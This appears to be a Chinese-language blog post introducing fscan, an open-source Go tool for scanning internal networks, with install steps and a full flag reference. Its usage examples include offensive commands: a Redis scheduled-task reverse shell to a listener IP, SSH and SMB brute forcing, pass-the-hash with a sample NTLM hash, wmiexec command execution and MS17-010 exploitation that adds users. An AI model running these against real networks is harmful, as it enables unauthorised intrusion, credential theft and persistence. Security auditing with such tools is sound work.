大家好,今天给大家分享的是一个开源的内网综合扫描工具 fscan。

扫描工具
该项目是用 Go 语言开发的内网扫描工具,提供了一键自动化全方位的漏洞扫描。它使用方便、功能全面,支持端口扫描、常见的服务器爆破、Web 应用漏洞扫描、NetBIOS 嗅探等功能。

功能简介

支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

  • 主机存活探测: fscan能够通过发送ICMP Echo Request消息来检测目标IP地址的主机是否在线,即存活探测。如果目标主机回应了这个请求,就表明它是活跃状态。

  • 端口扫描: 支持对目标主机上的TCP端口进行扫描,以发现哪些端口是开放的。这对于了解系统开放的服务和潜在的攻击面至关重要。

  • 服务识别与枚举: 在发现开放端口后,fscan能够进一步识别这些端口上运行的服务类型,帮助用户了解每个端口对应的具体服务。

  • 弱口令爆破: 针对常见的服务(如SSH、FTP、MySQL等),fscan提供了弱口令爆破功能,用于检测是否存在使用默认或易猜解密码的账户,这是安全审计中的重要环节。

  • 特定漏洞检测: 支持检测特定的已知漏洞,例如MS17-010( EternalBlue),这是一个影响Windows SMB服务的严重漏洞,曾被WannaCry勒索软件广泛利用。

  • Redis批量操作: 可以用来检测并利用未授权访问的Redis服务器,执行如写入公钥到ssh authorized_keys文件等操作,以实现进一步渗透。

  • 计划任务反弹: 利用Windows计划任务功能实现远程命令执行和后门植入,是进行权限维持和内网渗透的手段之一。

  • 扫描模式自定义: 用户可以根据需要指定扫描模式,比如快速扫描或深度扫描,以适应不同的场景和需求。

  • 报告生成: 扫描完成后,fscan通常能够生成详细的扫描报告,包括存活主机列表、开放端口、服务详情以及潜在的安全问题,便于后续分析和处理。

使用

安装

在Github项目地址根据系统类型,下载对应的包即可。
https://github.com/shadow1ng/fscan/releases

编译安装

git clone https://github.com/shadow1ng/fscan
go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (可选,压缩体积)

arch用户安装

yay -S fscan-git 或者 paru -S fscan-git

简单用法

fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/16  (B段扫描)

其他用法

fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) 
fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt  (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)

完整参数

-c string
      ssh命令执行
-cookie string
      设置cookie
-debug int
      多久没响应,就打印当前进度(default 60)
-domain string
      smb爆破模块时,设置域名
-h string
      目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string
      读取文件中的目标
-hn string
      扫描时,要跳过的ip: -hn 192.168.1.1/24
-m string
      设置扫描模式: -m ssh (default "all")
-no
      扫描结果不保存到文件中
-nobr
      跳过sql、ftp、ssh等的密码爆破
-nopoc
      跳过web poc扫描
-np
      跳过存活探测
-num int
      web poc 发包速率  (default 20)
-o string
      扫描结果保存到哪 (default "result.txt")
-p string
      设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
      新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
-path string
      fcgi、smb romote file path
-ping
      使用ping代替icmp进行存活探测
-pn string
      扫描时要跳过的端口,as: -pn 445
-pocname string
      指定web poc的模糊名字, -pocname weblogic
-proxy string
      设置代理, -proxy http://127.0.0.1:8080
-user string
      指定爆破时的用户名
-userf string
      指定爆破时的用户名文件
-pwd string
      指定爆破时的密码
-pwdf string
      指定爆破时的密码文件
-rf string
      指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
-rs string
      redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-silent
      静默扫描,适合cs扫描时不回显
-sshkey string
      ssh连接时,指定ssh私钥
-t int
      扫描线程 (default 600)
-time int
      端口扫描超时时间 (default 3)
-u string
      指定Url扫描
-uf string
      指定Url文件扫描
-wt int
      web访问超时时间 (default 5)
-pocpath string
      指定poc路径
-usera string
      在原有用户字典基础上,新增新用户
-pwda string
      在原有密码字典基础上,增加新密码
-socks5
      指定socks5代理 (as: -socks5  socks5://127.0.0.1:1080)
-sc 
      指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)

项目地址

https://github.com/shadow1ng/fscan